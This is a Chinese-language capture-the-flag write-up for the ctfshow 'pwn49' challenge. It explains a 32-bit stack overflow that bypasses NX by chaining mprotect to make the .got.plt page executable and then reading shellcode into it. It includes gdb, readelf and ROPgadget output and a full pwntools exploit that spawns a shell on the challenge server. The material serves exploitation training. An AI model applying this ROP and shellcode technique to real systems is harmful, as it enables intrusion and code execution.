32位
NX开启
提示mprotect
mprotect()函数可以修改调用进程内存页的保护属性
所以利用mprotect函数,就可以绕过NX
从而达到写入shellcode的目的
int ctfshow()
{
_BYTE v1[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, v1, 100);
}
ctfshow函数中拿到偏移地址
0x12+4
mprotect函数存在三个参数
这三个参数分别为:内存区域起始地址 内存区域大小 访问权限
而访问权限,又有三个值
r:4 w:2 x:1
所以,rwx权限(可读可写可执行)就是0x7
想要调用mprotect函数
就需要让ctfshow函数的返回地址为mprotect函数的地址
通过gdb的disass mprotect 指令
拿到mprotect的地址
pwndbg> disass mprotect
Dump of assembler code for function mprotect:
0x0806cdd0 <+0>: push ebx
0x0806cdd1 <+1>: mov edx,DWORD PTR [esp+0x10]
0x0806cdd5 <+5>: mov ecx,DWORD PTR [esp+0xc]
0x0806cdd9 <+9>: mov ebx,DWORD PTR [esp+0x8]
0x0806cddd <+13>: mov eax,0x7d
0x0806cde2 <+18>: call DWORD PTR gs:0x10
0x0806cde9 <+25>: pop ebx
0x0806cdea <+26>: cmp eax,0xfffff001
0x0806cdef <+31>: jae 0x8070520 <__syscall_error>
0x0806cdf5 <+37>: ret
End of assembler dump.
所以mprotect函数的地址为:0x0806cdd0
mprotect函数可以被调用了,但我们还需要找到这个函数的返回地址
返回地址选为read函数的地址,这样能帮助写入shellcode到内存空间里
对于mprotect函数部分的payload,情况就是
填充 + mprotect函数 + 返回地址 + mprotect的三个参数 + read函数
在IDA里面查找得到read函数的地址
read 0x0806BEE0
现在就只要补齐三个参数就好了
首先是内存区域起始地址,选用got表的起始地址
选用got表的原因:
1. .got.plt 表的特性
- 全局偏移表(GOT) 是 ELF(Executable and Linkable Format)文件格式中的一个重要部分,用于存储动态链接库中函数的地址。
- .got.plt 表 是 GOT 表的一个子集,专门用于存储程序中调用的动态链接库函数的地址。它通常位于程序的内存空间中,且在程序运行时会被加载到内存中。
2. 为什么选择 .got.plt 表的起始地址
- 内存对齐和权限修改的便利性:
- .got.plt 表的起始地址通常是内存页的起始地址(通常是 4KB 对齐),这符合 mprotect 函数的要求,即起始地址必须是内存页的起始地址。
- 修改 .got.plt 表的权限可以覆盖整个表的范围,而不需要担心跨页问题,因为 .got.plt 表通常不会跨越多个内存页。
- 绕过 NX 保护:
- 在现代操作系统中,栈和堆通常是没有执行权限的(即开启了 NX 保护)。而 .got.plt 表位于程序的 .got 段中,这个段通常是可以读写的。
- 通过修改 .got.plt 表的权限,可以将其设置为可读、可写、可执行(PROT_READ | PROT_WRITE | PROT_EXEC),从而绕过 NX 保护,为执行 shellcode 提供条件。
- 避免对程序其他部分的影响:
- .got.plt 表通常用于存储动态链接库函数的地址,修改其权限不会直接影响程序的其他部分(如栈、堆等)。
- 相比之下,修改 .bss 段可能会导致程序崩溃,因为 .bss 段在程序启动时会被清零,修改后的内容可能会被覆盖。
所以寻找got表地址
使用readelf -S pwn49
这个命令就能拿到所有节头信息
There are 31 section headers, starting at offset 0xa1474:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .note.ABI-tag NOTE 080480f4 0000f4 000020 00 A 0 0 4
[ 2] .note.gnu.build-i NOTE 08048114 000114 000024 00 A 0 0 4
readelf: Warning: [ 3]: Link field (0) should index a symtab section.
[ 3] .rel.plt REL 08048138 000138 000070 08 AI 0 19 4
[ 4] .init PROGBITS 080481a8 0001a8 000023 00 AX 0 0 4
[ 5] .plt PROGBITS 080481d0 0001d0 000070 00 AX 0 0 8
[ 6] .text PROGBITS 08048240 000240 063421 00 AX 0 0 16
[ 7] __libc_freeres_fn PROGBITS 080ab670 063670 000ba7 00 AX 0 0 16
[ 8] __libc_thread_fre PROGBITS 080ac220 064220 000127 00 AX 0 0 16
[ 9] .fini PROGBITS 080ac348 064348 000014 00 AX 0 0 4
[10] .rodata PROGBITS 080ac360 064360 018b98 00 A 0 0 32
[11] .eh_frame PROGBITS 080c4ef8 07cef8 011e48 00 A 0 0 4
[12] .gcc_except_table PROGBITS 080d6d40 08ed40 0000ac 00 A 0 0 1
[13] .tdata PROGBITS 080d86e0 08f6e0 000010 00 WAT 0 0 4
[14] .tbss NOBITS 080d86f0 08f6f0 000020 00 WAT 0 0 4
[15] .init_array INIT_ARRAY 080d86f0 08f6f0 000008 04 WA 0 0 4
[16] .fini_array FINI_ARRAY 080d86f8 08f6f8 000008 04 WA 0 0 4
[17] .data.rel.ro PROGBITS 080d8700 08f700 0018d4 00 WA 0 0 32
[18] .got PROGBITS 080d9fd4 090fd4 000028 00 WA 0 0 4
[19] .got.plt PROGBITS 080da000 091000 000044 04 WA 0 0 4
[20] .data PROGBITS 080da060 091060 000f20 00 WA 0 0 32
[21] __libc_subfreeres PROGBITS 080daf80 091f80 000024 00 WA 0 0 4
[22] __libc_IO_vtables PROGBITS 080dafc0 091fc0 000354 00 WA 0 0 32
[23] __libc_atexit PROGBITS 080db314 092314 000004 00 WA 0 0 4
[24] __libc_thread_sub PROGBITS 080db318 092318 000004 00 WA 0 0 4
[25] .bss NOBITS 080db320 09231c 000cdc 00 WA 0 0 32
[26] __libc_freeres_pt NOBITS 080dbffc 09231c 000014 00 WA 0 0 4
[27] .comment PROGBITS 00000000 09231c 000029 01 MS 0 0 1
[28] .symtab SYMTAB 00000000 092348 008640 10 29 1090 4
[29] .strtab STRTAB 00000000 09a988 006992 00 0 0 1
[30] .shstrtab STRTAB 00000000 0a131a 000159 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
[19] .got.plt PROGBITS 080da000 091000 000044 04 WA 0 0 4
这里拿到got表地址
0x080da000
现在填补另外两个参数:内存区域大小和权限
大小就可以随便设定就好,0x100啥的应该都能随便用,大了改小,小了改大,能存入shellcode就够了
权限则是0x7即可
参数找到了,还需要找到三个pop,一个ret的gadget
ctfshow@ubuntu:~/Desktop/xd$ ROPgadget --binary pwn49 --only "pop|ret" |grep "pop"
0x0809f422 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809f41a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x08056194 : pop eax ; pop edx ; pop ebx ; ret
0x080a8dd6 : pop eax ; ret
0x0806a68d : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809f805 : pop ebp ; pop esi ; pop edi ; ret
0x0804834c : pop ebp ; ret
0x0805d6f2 : pop ebp ; ret 4
0x080a1db7 : pop ebp ; ret 8
0x0809f804 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x0805b75e : pop ebx ; pop edi ; ret
0x0806dfea : pop ebx ; pop edx ; ret
0x080a019b : pop ebx ; pop esi ; pop ebp ; ret
0x08048349 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0805d6ef : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x080a1db4 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08049bd9 : pop ebx ; pop esi ; pop edi ; ret
0x08049807 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080c2fdc : pop ebx ; ret 0x6f9
0x0806e012 : pop ecx ; pop ebx ; ret
0x0804834b : pop edi ; pop ebp ; ret
0x0805d6f1 : pop edi ; pop ebp ; ret 4
0x080a1db6 : pop edi ; pop ebp ; ret 8
0x08069cbe : pop edi ; pop ebx ; ret
0x08061c3b : pop edi ; pop esi ; pop ebx ; ret
0x080921b8 : pop edi ; pop esi ; ret
0x08049bdb : pop edi ; ret
0x08056195 : pop edx ; pop ebx ; ret
0x0806e011 : pop edx ; pop ecx ; pop ebx ; ret
0x0806dfeb : pop edx ; ret
0x0809f419 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x08065aba : pop es ; pop edi ; ret
0x08065cfa : pop es ; ret
0x080a019c : pop esi ; pop ebp ; ret
0x0806dfe9 : pop esi ; pop ebx ; pop edx ; ret
0x08061c3c : pop esi ; pop ebx ; ret
0x0804834a : pop esi ; pop edi ; pop ebp ; ret
0x0805d6f0 : pop esi ; pop edi ; pop ebp ; ret 4
0x080a1db5 : pop esi ; pop edi ; pop ebp ; ret 8
0x08069cbd : pop esi ; pop edi ; pop ebx ; ret
0x08049bda : pop esi ; pop edi ; ret
0x08049808 : pop esi ; ret
0x08054706 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0809e12e : pop esp ; ret
0x0805ad28 : pop esp ; ret 0x8b38
0x080622c9 : pop ss ; ret 0x2c73
0x08062c8a : pop ss ; ret 0x3273
0x080622b4 : pop ss ; ret 0x3e73
0x08062c70 : pop ss ; ret 0x4c73
0x0806229f : pop ss ; ret 0x5073
0x0806228a : pop ss ; ret 0x6273
0x08062c56 : pop ss ; ret 0x6673
0x08060805 : pop ss ; ret 0x830f
通过指令找到这样的gadget
0x08056194
这个gadget就能作为mprotect的返回地址
填充地址 0x12+4
mprotect函数 0x0806cdd0
返回地址 0x08056194
mprotect的三个参数 0x080da000 0x100 0x7
read函数 0x0806BEE0
shellcode由asm方法生成
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
然后是read部分的payload
read函数 + read函数返回地址(就是我们shellcode所在地址-即我们修改的内存空间的起始地址) + read参数1 + read参数2(就是我们shellcode地址) + read参数3(read读取的大小)
read的参数1是文件标识符
即fd
常态下,fd=0即可
所以read参数1写0就可
至于参数2和参数3,shellcode写在got,所以参数2为got表起始地址,参数3就写内存区域大小即可
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
payload = b'a'*(0x12+4)
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限
payload += p32(0x806bee0) # read函数地址
payload += p32(0x080da000) # read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0)
payload += p32(0x080da000) # shellcode地址
payload += p32(len(shellcode))
完整exp:
# -*- coding: UTF-8 -*-
from pwn import *
u=remote("pwn.challenge.ctf.show",28307)
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
payload = b'a'*(0x12+4)
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限
payload += p32(0x806bee0) # read函数地址
payload += p32(0x080da000) # read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0)
payload += p32(0x080da000) # shellcode地址
payload += p32(len(shellcode))
u.sendline(payload)
u.sendline(shellcode)
u.interactive()